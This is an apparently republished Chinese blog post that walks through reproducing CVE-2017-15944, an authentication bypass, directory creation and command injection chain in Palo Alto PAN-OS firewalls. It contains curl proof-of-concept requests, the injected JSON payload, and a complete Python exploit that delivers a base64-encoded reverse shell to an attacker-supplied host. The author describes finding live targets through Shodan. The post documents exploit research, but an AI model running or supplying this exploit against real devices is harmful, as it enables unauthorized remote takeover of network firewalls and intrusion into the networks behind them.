作者:棟棟的棟
作者博客:https://d0n9.github.io
在 exploit-db 看到 CVE-2017-15944 這個漏洞,三處漏洞打出的組合拳導致最后命令執行,三環缺一不可,最喜歡這樣變廢為寶的利用,但是在復現構造EXP還是遇到不少“坑”,本文記錄一下填坑的過程….
exploit-db 地址 https://www.exploit-db.com/exploits/43342/
該漏洞影響范圍還是很廣泛的,但是并沒有看到有人放出EXP,最多只是PoC或者省去了很坑的命令執行漏洞。
<=PAN-OS 6.1.18
<=PAN-OS 7.0.18
<=PAN-OS 7.1.13
<=PAN-OS 8.0.5
三處漏洞分別為:權限繞過,任意目錄創建,命令執行
不過命令執行部分的詳細內容原作者并沒有給出,只有 Payload ,而且還執行不成功,手頭也沒有設備,只好硬著頭皮去 Shodan 找到環境,一點點摸索嘗試構造 EXP
$ shodan download search 'Location: /php/login.php port:"4443"' limit 3000
$ shodan parse --fields ip_str search.json.gz
原作者給出了權限繞過的 PoC
imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 10.0.0.1/php/utils/debug.php
<!DOCTYPE html>
<html><head><title>Moved Temporarily</title></head>
<body><h1>Moved Temporarily</h1>
<p>The document has moved <a href="http://10.0.0.1:28250/php/logout.php
">here</a>.</p>
<address>PanWeb Server/ - at 127.0.0.1:28250 Port 80</address></body>
</html>
imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" '
10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'
@start@Success@end@
imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 10.0.0.1/php/utils/debug.php
2>/dev/null|head -30
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "
http://www.w3.org/TR/html4/loose.dtd";>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>Debug Console</title>
這一步的漏洞詳情描述最復雜,英文閱讀能力跟不上看地也是云里霧里的…
PoC 就很簡單了,其實這個漏洞總結一句話就是可以設置任意 cookie 繞過頁面的權限認證
先訪問 /php/utils/debug.php ,然而訪問 /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27”;user|s.”1337”; 再訪問/php/utils/debug.php便繞過了認證

任意目錄創建使用前面設置的cookie POST JSON 請求到 /php/utils/router.php/Administrator.get,如果成功便會在/opt/pancfg/session/pan/user_tmp/{cookie value}/{jobid}.xml 創建一個目錄和臨時文件,目錄就是下面Payload的cookie值,可以用../跳目錄,jobid 是應該是創建的任務,在response中會返回。
{"action":"PanDirect","method":"execute","data":
["07c5807d0d927dcd0980f86024e5208b","Administrator.get",
{"changeMyPassword":true,"template":"asd","id":"admin']\"
async-mode='yes' refresh='yes'
cookie='../../../../../../tmp/hacked'/>\u0000"}],"type":"rpc","tid":713}
我在測試的時候遇到一個小問題,復制的payload 一直返回 {“type”:”exception”,”tid”:””,”message”:”Call to undefined class: “} ,這就很尷尬了,因為我既沒有設備也沒有代碼,只能確定這肯定是一個報錯,但并不知道怎么解決。
emmmm,檢查之后發現一處“坑”

標紅線的位置應該要有空格的,但是由于是copy的原因,空格可能就被換行替代了

如果看到這樣的response返回那么就是成功了
其實命令執行漏洞也要配合這里任意創建目錄才能完成攻擊,但是最關鍵的細節卻被原隱藏了

大概知道環境是crontab 執行腳本,兩個腳本之間調用(genindex_batch.sh 調用 genindex.sh),$PAN_BASE_DIR/logdb/$dir/1 是出現漏洞的代碼,大概是$dir可控,但是文中提到的find卻不知道是何作用。
不過好在原作者給出了EXP示例
* -print -exec python -c exec("[base64 code..]".decode("base64")) ;
熟悉find命令的同學肯定知道 -print -exec 的作用,不熟悉也沒有關系,可以man find進行查看,

猜測genindex.sh腳本使用 find 并且目錄可控,不過在這里犯了一個致命的錯誤,因為在命令構造的時候是在終端測試,所以要加單引號雙引號不然會報錯,前面說過Payload是JOSN,所以又要考慮引號轉義的問題,這里抓頭了一陣。

意識到錯誤之后便在sh腳本中測試命令,因為這里是隱式的命令執行,所以要利用oob的方式進行驗證,要注意命令并不會立即執行,因為存在命令執行的文件是genindex.sh,而且是 genindex_batch.sh 進行調用,genindex_batch.sh 又是crontab 每隔15分鐘執行一次,所以到等觸發時間,這里需要注意命令可能會被多次執行,拿到shell看到源碼才知道原來命令執行的地方是一個for循環。

ok,可以嘗試一下寫webshell,直接執行echo肯定是不行的,特殊符號問題。
所以要使用編碼,原作者也是使用的這種方式,不過編碼有一個特別不好的地方是長度會增加,因為這里是其實是創建文件夾,Linux文件名稱最長可支持到255個字符(characters)
漏洞發現者是寫webshell拿到的權限,這樣權限是nobody,屬于低權限,想要root權限就用反彈shell
下面給出 EXP
#!/usr/bin/env python
# encoding: utf-8
import requests
import sys
import base64
requests.packages.urllib3.disable_warnings()
session = requests.Session()
def step3_exp(lhost, lport):
command = base64.b64encode('''exec("import os; os.system('bash -i >& /dev/tcp/{}/{} 0>&1')")'''.format(lhost, lport))
exp_post = r'''{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']\" async-mode='yes' refresh='yes' cookie='../../../../../../../../../tmp/* -print -exec python -c exec(\"'''+ command + r'''\".decode(\"base64\")) ;'/>\u0000"}],"type":"rpc","tid": 713}'''
return exp_post
def exploit(target, port):
step1_url = 'https://{}:{}/php/utils/debug.php'.format(target, port)
step2_url = 'https://{}:{}/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'.format(target, port)
step3_url = 'https://{}:{}/php/utils/router.php/Administrator.get'.format(target, port)
try:
if session.get(step1_url, verify=False).status_code == 200:
if session.get(step2_url, verify=False).status_code == 200:
r = session.get(step1_url, verify=False)
if 'Debug Console' in r.text:
print '[+] bypass success'
lhost = raw_input('[*] LHOST: ')
if lhost:
print '[+] set LHOST = {}'.format(lhost)
lport = raw_input('[*] LPORT: ')
else:
exit('[!] LHOST invalid')
if lport:
print '[+] set LPORT = {}'.format(lport)
else:
exit('[!] LPORT invalid')
exp_post = step3_exp(lhost, lport)
rce = session.post(step3_url, data=exp_post).json()
if rce['result']['@status'] == 'success':
print '[+] success, please wait ... '
print '[+] jobID: {}'.format(rce['result']['result']['job'])
else:
exit('[!] fail')
else:
exit('[!] bypass fail')
except Exception, err:
print err
if __name__ == '__main__':
if len(sys.argv) <= 3:
exploit(sys.argv[1], sys.argv[2])
else:
exit('[+] usage: python CVE_2017_15944_EXP.py IP PORT')
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/540/